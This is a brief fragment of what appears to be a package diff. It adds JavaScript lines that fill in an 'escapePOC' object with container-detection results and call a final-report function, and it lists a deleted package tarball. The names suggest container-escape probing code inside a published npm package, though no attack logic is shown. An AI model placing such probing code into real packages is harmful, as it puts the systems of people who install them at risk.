} else {
|
|
361
|
+
console.log("ā ļø Not in Docker container or cannot determine");
|
|
362
|
+
escapePOC.containerInfo = { isContainer: false };
|
|
363
|
+
generateFinalReport();
|
|
364
|
+
}
|
|
365
|
+
});
|
|
Binary file
|
package/rank4222wun-1.0.23.tgz
DELETED
|
Binary file
|